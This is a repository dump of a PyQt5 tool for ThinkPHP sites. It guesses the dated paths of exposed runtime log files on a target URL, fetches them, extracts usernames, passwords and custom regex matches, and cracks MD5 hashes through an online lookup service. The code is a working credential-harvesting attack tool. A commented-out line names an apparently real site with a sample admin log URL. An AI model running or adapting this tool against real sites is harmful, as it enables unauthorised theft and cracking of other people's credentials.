├── Main_UI.py ├── README.md ├── image ├── custom1.png ├── custom2.png ├── log.png ├── main.png └── result1.png ├── log.py └── log_read.py /Main_UI.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # Form implementation generated from reading ui file 'Main_ui.ui' 4 | # 5 | # Created by: PyQt5 UI code generator 5.15.2 6 | # 7 | # WARNING: Any manual changes made to this file will be lost when pyuic5 is 8 | # run again. Do not edit this file unless you know what you are doing. 9 | 10 | from functools import partial 11 | 12 | import requests, sys 13 | from PyQt5 import QtCore, QtGui, QtWidgets 14 | from PyQt5.QtCore import Qt, QThread, pyqtSignal, QDate, QDateTime 15 | from PyQt5.QtWidgets import QTableWidgetItem, QMenu, QDateTimeEdit 16 | import log_read 17 | import pyperclip 18 | from log import Log_Ui 19 | 20 | 21 | class Ui_MainWindow(object): 22 | def setupUi(self, MainWindow): 23 | MainWindow.setObjectName("MainWindow") 24 | MainWindow.resize(1076, 668) 25 | self.centralwidget = QtWidgets.QWidget(MainWindow) 26 | self.centralwidget.setObjectName("centralwidget") 27 | self.gridLayout_5 = QtWidgets.QGridLayout(self.centralwidget) 28 | self.gridLayout_5.setObjectName("gridLayout_5") 29 | self.gridLayout_4 = QtWidgets.QGridLayout() 30 | self.gridLayout_4.setObjectName("gridLayout_4") 31 | self.gridLayout = QtWidgets.QGridLayout() 32 | self.gridLayout.setObjectName("gridLayout") 33 | self.label = QtWidgets.QLabel(self.centralwidget) 34 | font = QtGui.QFont() 35 | font.setPointSize(10) 36 | self.label.setFont(font) 37 | self.label.setObjectName("label") 38 | self.gridLayout.addWidget(self.label, 0, 0, 1, 1) 39 | self.lineEdit = QtWidgets.QLineEdit(self.centralwidget) 40 | font = QtGui.QFont() 41 | font.setPointSize(10) 42 | self.lineEdit.setFont(font) 43 | self.lineEdit.setObjectName("lineEdit") 44 | self.gridLayout.addWidget(self.lineEdit, 0, 1, 1, 2) 45 | self.label_4 = QtWidgets.QLabel(self.centralwidget) 46 | font = QtGui.QFont() 47 | font.setPointSize(10) 48 | self.label_4.setFont(font) 49 | self.label_4.setObjectName("label_4") 50 | self.gridLayout.addWidget(self.label_4, 0, 3, 1, 1) 51 | self.dateEdit = QtWidgets.QDateEdit(self.centralwidget) 52 | font = QtGui.QFont() 53 | font.setPointSize(10) 54 | self.dateEdit.setFont(font) 55 | self.dateEdit.setObjectName("dateEdit") 56 | self.gridLayout.addWidget(self.dateEdit, 0, 4, 1, 2) 57 | self.label_2 = QtWidgets.QLabel(self.centralwidget) 58 | font = QtGui.QFont() 59 | font.setPointSize(10) 60 | self.label_2.setFont(font) 61 | self.label_2.setObjectName("label_2") 62 | self.gridLayout.addWidget(self.label_2, 0, 6, 1, 1) 63 | self.dateEdit_2 = QtWidgets.QDateEdit(self.centralwidget) 64 | font = QtGui.QFont() 65 | font.setPointSize(10) 66 | self.dateEdit_2.setFont(font) 67 | self.dateEdit_2.setObjectName("dateEdit_2") 68 | self.gridLayout.addWidget(self.dateEdit_2, 0, 7, 1, 1) 69 | self.label_3 = QtWidgets.QLabel(self.centralwidget) 70 | font = QtGui.QFont() 71 | font.setPointSize(10) 72 | self.label_3.setFont(font) 73 | self.label_3.setObjectName("label_3") 74 | self.gridLayout.addWidget(self.label_3, 1, 0, 1, 2) 75 | self.lineEdit_4 = QtWidgets.QLineEdit(self.centralwidget) 76 | font = QtGui.QFont() 77 | font.setPointSize(10) 78 | self.lineEdit_4.setFont(font) 79 | self.lineEdit_4.setText("") 80 | self.lineEdit_4.setObjectName("lineEdit_4") 81 | self.gridLayout.addWidget(self.lineEdit_4, 1, 2, 1, 1) 82 | self.label_5 = QtWidgets.QLabel(self.centralwidget) 83 | font = QtGui.QFont() 84 | font.setPointSize(10) 85 | self.label_5.setFont(font) 86 | self.label_5.setObjectName("label_5") 87 | self.gridLayout.addWidget(self.label_5, 1, 3, 1, 1) 88 | self.lineEdit_5 = QtWidgets.QLineEdit(self.centralwidget) 89 | font = QtGui.QFont() 90 | font.setPointSize(10) 91 | self.lineEdit_5.setFont(font) 92 | self.lineEdit_5.setObjectName("lineEdit_5") 93 | self.gridLayout.addWidget(self.lineEdit_5, 1, 4, 1, 4) 94 | self.gridLayout_4.addLayout(self.gridLayout, 0, 0, 1, 1) 95 | self.gridLayout_2 = QtWidgets.QGridLayout() 96 | self.gridLayout_2.setObjectName("gridLayout_2") 97 | self.label_6 = QtWidgets.QLabel(self.centralwidget) 98 | font = QtGui.QFont() 99 | font.setPointSize(10) 100 | self.label_6.setFont(font) 101 | self.label_6.setObjectName("label_6") 102 | self.gridLayout_2.addWidget(self.label_6, 0, 0, 1, 1) 103 | self.comboBox = QtWidgets.QComboBox(self.centralwidget) 104 | font = QtGui.QFont() 105 | font.setPointSize(10) 106 | self.comboBox.setFont(font) 107 | self.comboBox.setObjectName("comboBox") 108 | self.comboBox.addItem("") 109 | self.comboBox.addItem("") 110 | self.gridLayout_2.addWidget(self.comboBox, 1, 0, 1, 1) 111 | self.gridLayout_4.addLayout(self.gridLayout_2, 0, 1, 1, 1) 112 | self.gridLayout_3 = QtWidgets.QGridLayout() 113 | self.gridLayout_3.setObjectName("gridLayout_3") 114 | self.pushButton = QtWidgets.QPushButton(self.centralwidget) 115 | font = QtGui.QFont() 116 | font.setPointSize(10) 117 | font.setBold(True) 118 | font.setWeight(75) 119 | self.pushButton.setFont(font) 120 | self.pushButton.setObjectName("pushButton") 121 | self.gridLayout_3.addWidget(self.pushButton, 0, 0, 1, 1) 122 | self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget) 123 | font = QtGui.QFont() 124 | font.setPointSize(10) 125 | font.setBold(True) 126 | font.setWeight(75) 127 | self.pushButton_2.setFont(font) 128 | self.pushButton_2.setObjectName("pushButton_2") 129 | self.gridLayout_3.addWidget(self.pushButton_2, 1, 0, 1, 1) 130 | self.gridLayout_4.addLayout(self.gridLayout_3, 0, 2, 1, 1) 131 | self.tableWidget = QtWidgets.QTableWidget(self.centralwidget) 132 | self.tableWidget.setObjectName("tableWidget") 133 | self.tableWidget.setColumnCount(4) 134 | self.tableWidget.setRowCount(0) 135 | item = QtWidgets.QTableWidgetItem() 136 | self.tableWidget.setHorizontalHeaderItem(0, item) 137 | item = QtWidgets.QTableWidgetItem() 138 | self.tableWidget.setHorizontalHeaderItem(1, item) 139 | item = QtWidgets.QTableWidgetItem() 140 | self.tableWidget.setHorizontalHeaderItem(2, item) 141 | item = QtWidgets.QTableWidgetItem() 142 | self.tableWidget.setHorizontalHeaderItem(3, item) 143 | self.gridLayout_4.addWidget(self.tableWidget, 1, 0, 1, 3) 144 | self.label_7 = QtWidgets.QLabel(self.centralwidget) 145 | self.label_7.setObjectName("label_7") 146 | self.gridLayout_4.addWidget(self.label_7, 2, 0, 1, 2) 147 | self.gridLayout_5.addLayout(self.gridLayout_4, 0, 0, 1, 1) 148 | MainWindow.setCentralWidget(self.centralwidget) 149 | self.menubar = QtWidgets.QMenuBar(MainWindow) 150 | self.menubar.setGeometry(QtCore.QRect(0, 0, 1076, 26)) 151 | self.menubar.setObjectName("menubar") 152 | MainWindow.setMenuBar(self.menubar) 153 | self.statusbar = QtWidgets.QStatusBar(MainWindow) 154 | self.statusbar.setObjectName("statusbar") 155 | MainWindow.setStatusBar(self.statusbar) 156 | 157 | self.retranslateUi(MainWindow) 158 | QtCore.QMetaObject.connectSlotsByName(MainWindow) 159 | 160 | def retranslateUi(self, MainWindow): 161 | _translate = QtCore.QCoreApplication.translate 162 | MainWindow.setWindowTitle(_translate("MainWindow", "ThinkPHP日志读取")) 163 | self.label.setText(_translate("MainWindow", "Target:")) 164 | self.lineEdit.setPlaceholderText(_translate("MainWindow", "http://www.taget.com/")) 165 | self.label_4.setText(_translate("MainWindow", "查询范围:")) 166 | self.label_2.setText(_translate("MainWindow", "至")) 167 | self.label_3.setText(_translate("MainWindow", "自定义路径:")) 168 | self.lineEdit_4.setPlaceholderText(_translate("MainWindow", "输入日期时间路径外完整路径,比如:http://www.taget.com/Application/Runtime/Logs/")) 169 | self.label_5.setText(_translate("MainWindow", "自定义匹配:")) 170 | self.lineEdit_5.setPlaceholderText(_translate("MainWindow", "自定义查询(需正则)")) 171 | self.label_6.setText(_translate("MainWindow", "版本:")) 172 | self.comboBox.setItemText(0, _translate("MainWindow", "TP3系列")) 173 | self.comboBox.setItemText(1, _translate("MainWindow", "TP5系列")) 174 | self.pushButton.setText(_translate("MainWindow", "开始查找")) 175 | self.pushButton_2.setText(_translate("MainWindow", "停止")) 176 | item = self.tableWidget.horizontalHeaderItem(0) 177 | item.setText(_translate("MainWindow", "url")) 178 | item = self.tableWidget.horizontalHeaderItem(1) 179 | item.setText(_translate("MainWindow", "user")) 180 | item = self.tableWidget.horizontalHeaderItem(2) 181 | item.setText(_translate("MainWindow", "password")) 182 | item = self.tableWidget.horizontalHeaderItem(3) 183 | item.setText(_translate("MainWindow", "自定义匹配")) 184 | self.label_7.setText(_translate("MainWindow", "")) 185 | 186 | 187 | self.dateEdit.setDisplayFormat('yyyy-MM-dd') 188 | self.dateEdit_2.setDisplayFormat('yyyy-MM-dd') 189 | self.dateEdit.setDate(QDate.currentDate().addDays(-90)) 190 | self.dateEdit_2.setDate(QDate.currentDate()) 191 | self.dateEdit.setCalendarPopup(True) 192 | self.dateEdit_2.setCalendarPopup(True) 193 | self.tableWidget.setColumnWidth(0, 600) 194 | self.tableWidget.setColumnWidth(1, 110) 195 | self.tableWidget.setColumnWidth(2, 300) 196 | self.tableWidget.setColumnWidth(3, 500) 197 | row_cnt = self.tableWidget.rowCount() # 读取行 198 | self.tableWidget.insertRow(row_cnt) 199 | 200 | 201 | #url = QTableWidgetItem('http://hefq.orangeaiedu.com/Application/Runtime/Logs/Admin/20_11_23.log') 202 | #user = QTableWidgetItem('admin') 203 | #passwd = QTableWidgetItem('5f4dcc3b5aa765d61d8327deb882cf99') 204 | #self.tableWidget.setItem(row_cnt, 0, url) 205 | #self.tableWidget.setItem(row_cnt, 1, user) 206 | #self.tableWidget.setItem(row_cnt, 2, passwd) 207 | 208 | 209 | self.tableWidget.setContextMenuPolicy(Qt.CustomContextMenu) 210 | self.tableWidget.customContextMenuRequested.connect(self.GenerateMenu) 211 | 212 | 213 | def GenerateMenu(self, pos): 214 | # 计算有多少条数据,默认-1, 215 | row_num = -1 216 | for i in self.tableWidget.selectionModel().selection().indexes(): 217 | row_num = i.row() 218 | 219 | # 表格中只有两条有效数据,所以只在前两行支持右键弹出菜单 220 | menu = QMenu() 221 | item1 = menu.addAction(u'复制url') 222 | item2 = menu.addAction(u'复制账号') 223 | item3 = menu.addAction(u'复制密码') 224 | item4 = menu.addAction(u'查看完整日志') 225 | item5 = menu.addAction(u'明文密码') 226 | action = menu.exec_(self.tableWidget.mapToGlobal(pos)) 227 | # 显示选中行的数据文本 228 | if action == item1: 229 | try: 230 | pyperclip.copy(self.tableWidget.item(row_num, 0).text()) 231 | except: 232 | pass 233 | 234 | if action == item2: 235 | try: 236 | pyperclip.copy(self.tableWidget.item(row_num, 1).text()) 237 | except: 238 | pass 239 | 240 | if action == item3: 241 | try: 242 | pyperclip.copy(self.tableWidget.item(row_num, 2).text()) 243 | except: 244 | pass 245 | 246 | if action == item4: 247 | lg.show() 248 | try: 249 | curr_log = requests.get(url=self.tableWidget.item(row_num, 0).text(),verify=False) 250 | log.textBrowser.setText(curr_log.text) 251 | except: 252 | pass 253 | 254 | if action == item5: 255 | try: 256 | #print(type(self.tableWidget.item(row_num, 2).text())) 257 | #passwd = log_read.md5_decrypt(self.tableWidget.item(row_num, 2).text()) 258 | show_message(ui,'抱歉,暂无接口') 259 | except: 260 | pass 261 | 262 | 263 | def show_message(ui,msg): 264 | QtWidgets.QMessageBox.information(ui.pushButton, "提示", msg) 265 | 266 | 267 | 268 | def key_function(ui): 269 | #ui.pushButton.clicked.connect(partial(log_read.main_task,ui)) 270 | 271 | 272 | class Queryhost_MyThread(QThread): 273 | my_signal = pyqtSignal(object, str) 274 | def __init__(self): 275 | super().__init__() 276 | 277 | def run(self): 278 | massage = log_read.main_task(ui) 279 | if massage is not None: 280 | self.my_signal.emit(massage[0], massage[1]) 281 | 282 | Queryhost_thread = Queryhost_MyThread() 283 | Queryhost_thread.my_signal.connect(show_message) 284 | ui.pushButton.clicked.connect(partial(Queryhost_thread.start)) 285 | 286 | 287 | if __name__=="__main__": 288 | app = QtWidgets.QApplication(sys.argv) 289 | widget = QtWidgets.QMainWindow() 290 | lg = QtWidgets.QMainWindow() 291 | ui = Ui_MainWindow() 292 | log = Log_Ui() 293 | ui.setupUi(widget) 294 | log.setupUi(lg) 295 | widget.show() 296 | key_function(ui) 297 | sys.exit(app.exec_()) 298 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # thinkphp-log-read 2 | 3 | 4 | **主界面** 5 | 6 | ![image](https://github.com/mrknow001/thinkphp-log-analyse/blob/main/image/main.png) 7 | 8 | 9 | 10 | **查询结果** 11 | 12 | ![image](https://github.com/mrknow001/thinkphp-log-analyse/blob/main/image/result1.png) 13 | 14 | 15 | **自定义匹配** 16 | 17 | 如果默认匹配账号密码不能满足,可以使用自定义匹配 18 | 注意:需要正则 19 | 20 | ![image](https://github.com/mrknow001/thinkphp-log-analyse/blob/main/image/log.png) 21 | 22 | 23 | 24 | **自定义匹配结果** 25 | 26 | ![image](https://github.com/mrknow001/thinkphp-log-analyse/blob/main/image/custom1.png) 27 | 28 | ![image](https://github.com/mrknow001/thinkphp-log-analyse/blob/main/image/custom2.png) 29 | -------------------------------------------------------------------------------- /image/custom1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mrknow001/thinkphp-log-analyse/ba90f8aea525c4e1cc4fe60649d57ab1ea96fc9a/image/custom1.png -------------------------------------------------------------------------------- /image/custom2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mrknow001/thinkphp-log-analyse/ba90f8aea525c4e1cc4fe60649d57ab1ea96fc9a/image/custom2.png -------------------------------------------------------------------------------- /image/log.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mrknow001/thinkphp-log-analyse/ba90f8aea525c4e1cc4fe60649d57ab1ea96fc9a/image/log.png -------------------------------------------------------------------------------- /image/main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mrknow001/thinkphp-log-analyse/ba90f8aea525c4e1cc4fe60649d57ab1ea96fc9a/image/main.png -------------------------------------------------------------------------------- /image/result1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mrknow001/thinkphp-log-analyse/ba90f8aea525c4e1cc4fe60649d57ab1ea96fc9a/image/result1.png -------------------------------------------------------------------------------- /log.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # Form implementation generated from reading ui file 'log.ui' 4 | # 5 | # Created by: PyQt5 UI code generator 5.15.2 6 | # 7 | # WARNING: Any manual changes made to this file will be lost when pyuic5 is 8 | # run again. Do not edit this file unless you know what you are doing. 9 | 10 | 11 | from PyQt5 import QtCore, QtGui, QtWidgets 12 | 13 | 14 | class Log_Ui(object): 15 | def setupUi(self, MainWindow): 16 | MainWindow.setObjectName("Log") 17 | MainWindow.resize(1118, 812) 18 | self.centralwidget = QtWidgets.QWidget(MainWindow) 19 | self.centralwidget.setObjectName("centralwidget") 20 | self.gridLayout = QtWidgets.QGridLayout(self.centralwidget) 21 | self.gridLayout.setObjectName("gridLayout") 22 | self.textBrowser = QtWidgets.QTextBrowser(self.centralwidget) 23 | self.textBrowser.setObjectName("textBrowser") 24 | self.gridLayout.addWidget(self.textBrowser, 0, 0, 1, 1) 25 | MainWindow.setCentralWidget(self.centralwidget) 26 | self.menubar = QtWidgets.QMenuBar(MainWindow) 27 | self.menubar.setGeometry(QtCore.QRect(0, 0, 1118, 26)) 28 | self.menubar.setObjectName("menubar") 29 | MainWindow.setMenuBar(self.menubar) 30 | self.statusbar = QtWidgets.QStatusBar(MainWindow) 31 | self.statusbar.setObjectName("statusbar") 32 | MainWindow.setStatusBar(self.statusbar) 33 | 34 | self.retranslateUi(MainWindow) 35 | QtCore.QMetaObject.connectSlotsByName(MainWindow) 36 | 37 | def retranslateUi(self, Log): 38 | _translate = QtCore.QCoreApplication.translate 39 | Log.setWindowTitle(_translate("Log", "日志详情")) 40 | 41 | 42 | if __name__=="__main__": 43 | import sys 44 | app=QtWidgets.QApplication(sys.argv) 45 | widget= QtWidgets.QMainWindow() 46 | ui= Log_Ui() 47 | ui.setupUi(widget) 48 | widget.show() 49 | sys.exit(app.exec_()) -------------------------------------------------------------------------------- /log_read.py: -------------------------------------------------------------------------------- 1 | import datetime 2 | import json,requests 3 | import re, threading 4 | from PyQt5.QtCore import Qt 5 | from PyQt5.QtWidgets import QTableWidgetItem 6 | 7 | session = requests.Session() 8 | session.keep_alive = False 9 | requests.adapters.DEFAULT_RETRIES = 5 10 | requests.packages.urllib3.disable_warnings() 11 | 12 | user_list = [] 13 | pass_list = [] 14 | other_list = [] 15 | 16 | def dateRange(beginDate, endDate): 17 | dates = [] 18 | dt = datetime.datetime.strptime(beginDate, "%Y-%m-%d") 19 | date = beginDate[:] 20 | while date <= endDate: 21 | dates.append(date) 22 | dt = dt + datetime.timedelta(1) 23 | date = dt.strftime("%Y-%m-%d") 24 | return dates 25 | 26 | 27 | def url_input(ui,date,rule): 28 | url = ui.lineEdit.text() 29 | if url.find('http') != -1 or url.find('https') != -1: 30 | while True: 31 | if url.count('/') > 2: 32 | url = url.rpartition('/')[0] 33 | else: 34 | break 35 | #print(url) 36 | else: 37 | url = 'http://' + url 38 | while True: 39 | if url.count('/') > 2: 40 | url = url.rpartition('/')[0] 41 | else: 42 | break 43 | #print(url) 44 | if re.findall('((https|http)://[\d\w-]+\.[\d\w]+)',url): 45 | msg = read_log(ui,url,date,rule) #读取日志 46 | #t = threading.Thread(target=hello_for('aaaaaaaaaa')) 47 | #t.start() # 启动线程,即让线程开始执行 48 | if msg is not None: 49 | ui.pushButton.setText('开始查找') 50 | ui.pushButton.setEnabled(True) 51 | return msg 52 | else: 53 | #print('请输入正确url') 54 | ui.pushButton.setText('开始查找') 55 | ui.pushButton.setEnabled(True) 56 | return '请输入正确url' 57 | #print(url) 58 | 59 | def main_task(ui): 60 | ui.pushButton.setEnabled(False) 61 | ui.pushButton.setText('正在查找') 62 | for rowNum in range(0, ui.tableWidget.rowCount())[::-1]: 63 | ui.tableWidget.removeRow(rowNum) 64 | custom_url = ui.lineEdit_4.text() 65 | default_url = ui.lineEdit.text() 66 | connect = ui.lineEdit_5.text() 67 | if connect != '': 68 | rule = connect 69 | else: 70 | rule = '' 71 | date_start = ui.dateEdit.date().toString(Qt.ISODate) 72 | date_end = ui.dateEdit_2.date().toString(Qt.ISODate) 73 | dates = dateRange(date_start, date_end) 74 | #dates = ['2020-11-02','2020-08-19','2021-01-13'] 75 | for date in dates: 76 | #date = '21_01_13' 77 | if custom_url == '': 78 | if default_url == '': 79 | ui.pushButton.setText('开始查找') 80 | ui.pushButton.setEnabled(True) 81 | return ui,'请输入url' 82 | else: 83 | msg = url_input(ui,date,rule) #处理url 84 | if msg is not None: 85 | ui.pushButton.setText('开始查找') 86 | ui.pushButton.setEnabled(True) 87 | return ui,msg 88 | #print(url) 89 | else: 90 | url = custom_url 91 | msg = read_log(ui,url,date,rule) #读取日志 92 | if msg is not None: 93 | ui.pushButton.setText('开始查找') 94 | ui.pushButton.setEnabled(True) 95 | return ui, msg 96 | #print(url) 97 | 98 | #print(url) 99 | ui.label_7.setText('查找完毕') 100 | ui.pushButton.setText('开始查找') 101 | ui.pushButton.setEnabled(True) 102 | 103 | def read_log(ui,url,date,rule): 104 | global user_list 105 | global user_list 106 | global other_lit 107 | 108 | tp_type = ui.comboBox.currentIndex() 109 | #url = 'http://hefq.orangeaiedu.com' 110 | if tp_type == 0: 111 | date = date.replace('-','_')[2:] 112 | logurl = url+'/Application/Runtime/Logs/Admin/'+date+'.log' 113 | else: 114 | date = date.replace('-','/').replace('/','',1) 115 | logurl = url+'/runtime/log/'+date+'.log' 116 | ui.label_7.setText('正在查找:'+logurl) 117 | print(logurl) 118 | try: 119 | log = requests.get(url=logurl,verify=False) 120 | except: 121 | return '错误字符,请检查输入链接' 122 | 123 | user_passs = re.findall("((`*username`*=['|\"]*([\d\w]+)'(.*)`*password`*=['|\"]*([\d\w]+))|(`*user`*=['|\"]*([\d\w]+)['|\"]*(.*)`*passwd`*=['|\"]*([\d\w]+))|(`*user_name`*=['|\"]*([\d\w]+)['|\"]*(.*)`*pass_word`*=['|\"]*([\d\w]+)))'",log.text,re.I) 124 | for user_pass in set(user_passs): 125 | #print(user_pass) 126 | if (user_pass[2] in user_list): 127 | item = ui.tableWidget.findItems(user_pass[2], Qt.MatchExactly) 128 | row = item[0].row() 129 | password = ui.tableWidget.item(row, 2).text() 130 | if password == user_pass[4]: 131 | continue 132 | user_list.append(user_pass[2]) 133 | pass_list.append(user_pass[4]) 134 | #print(user_list) 135 | #print(pass_list) 136 | row_cnt = ui.tableWidget.rowCount() # 读取行 137 | ui.tableWidget.insertRow(row_cnt) 138 | url = QTableWidgetItem(logurl) 139 | user = QTableWidgetItem(user_pass[2]) 140 | passwd = QTableWidgetItem(user_pass[4]) 141 | ui.tableWidget.setItem(row_cnt, 0, url) 142 | ui.tableWidget.setItem(row_cnt, 1, user) 143 | ui.tableWidget.setItem(row_cnt, 2, passwd) 144 | 145 | users = re.findall("((`*username`* = ['|\"](.*)['|\"])|(`*user`* = ['|\"](.*)['|\"])|(`*user_name`* = ['|\"](.*)['|\"]))",log.text,re.I) 146 | #print(users) 147 | for user in set(users): 148 | if user[2] == '': 149 | continue 150 | elif (user[2] in user_list): 151 | continue 152 | user_list.append(user[2]) 153 | #print(user_list) 154 | row_cnt = ui.tableWidget.rowCount() # 读取行 155 | ui.tableWidget.insertRow(row_cnt) 156 | url = QTableWidgetItem(logurl) 157 | user = QTableWidgetItem(user[2]) 158 | passwd = QTableWidgetItem('') 159 | ui.tableWidget.setItem(row_cnt, 0, url) 160 | ui.tableWidget.setItem(row_cnt, 1, user) 161 | ui.tableWidget.setItem(row_cnt, 2, passwd) 162 | 163 | passwords = re.findall("((`*password`*=['|\"]([\d\w]+)['|\"])|(`*passwd`*=['|\"]([\d\w]+)['|\"])|(`*pass_word`*=['|\"]([\d\w]+)['|\"]))", log.text, re.I) 164 | #print(passwords) 165 | for password in set(passwords): 166 | if password[2] == '': 167 | continue 168 | elif (password[2] in pass_list): 169 | continue 170 | user_list.append(password[2]) 171 | #print(pass_list) 172 | row_cnt = ui.tableWidget.rowCount() # 读取行 173 | ui.tableWidget.insertRow(row_cnt) 174 | url = QTableWidgetItem(logurl) 175 | user = QTableWidgetItem('') 176 | passwd = QTableWidgetItem(password[2]) 177 | ui.tableWidget.setItem(row_cnt, 0, url) 178 | ui.tableWidget.setItem(row_cnt, 1, user) 179 | ui.tableWidget.setItem(row_cnt, 2, passwd) 180 | others = re.findall(rule, log.text, re.I) 181 | for other in set(others): 182 | if other == '': 183 | continue 184 | elif (other in other_list): 185 | continue 186 | other_list.append(other) 187 | row_cnt = ui.tableWidget.rowCount() # 读取行 188 | ui.tableWidget.insertRow(row_cnt) 189 | url = QTableWidgetItem(logurl) 190 | othe = QTableWidgetItem(other) 191 | ui.tableWidget.setItem(row_cnt, 0, url) 192 | ui.tableWidget.setItem(row_cnt, 3, othe) 193 | 194 | 195 | def md5_decrypt(hash): 196 | proxies = { 197 | "http": "http://127.0.0.1:8080", 198 | "https": "http://127.0.0.1:8080", 199 | } 200 | 201 | headers = {'Accept': 'application/json, text/javascript, */*; q=0.01', 202 | 'X-Requested-With': 'XMLHttpRequest', 203 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36', 204 | 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 205 | 'Origin': 'https://www.somd5.com', 206 | 'Sec-Fetch-Site': 'same-origin', 207 | 'Sec-Fetch-Mode': 'cors', 208 | 'Sec-Fetch-Dest': 'empty', 209 | 'Referer': 'https://www.somd5.com/', 210 | 'Accept-Encoding': 'gzip, deflate', 211 | 'Accept-Language': 'en-US,en;q=0.9', 212 | 'Cookie': 'Hm_lvt_7cbb4bb91b6ffb8d7caebd60d7652ff4=1610889507; Hm_lpvt_7cbb4bb91b6ffb8d7caebd60d7652ff4=1610889507' 213 | } 214 | data = "hash="+hash+"&t=0&captcha=t03zH-c2suN2tiggNq8-eJtRqtcqxhkcYVZkJ2BGWZ528aSd4hzTIu7tUi_Z5RzO4L6Bb-pPlpsw7ySghXMc0IIpSiyH15ylOQHlv7xVhsoRbrWhAU9eNQngA**%7C%40O52" 215 | 216 | passwd = requests.post("https://www.somd5.com/search.php",headers=headers,data=data,verify=False,proxies=proxies) 217 | ruselt = json.loads(passwd.text) 218 | try: 219 | print('密码:'+str(ruselt['data'])) 220 | return '密码:'+str(ruselt['data']) 221 | except: 222 | if ruselt['err'] == 2: 223 | return '接口错误,错误id:'+str(ruselt['err']) 224 | if ruselt['err'] == 3: 225 | return '未解出' 226 | else: 227 | return '未知错误,错误id:'+str(ruselt['err']) 228 | if __name__ == '__main__': 229 | md5_decrypt('e10adc3949ba59abbe56e057f20f883e') --------------------------------------------------------------------------------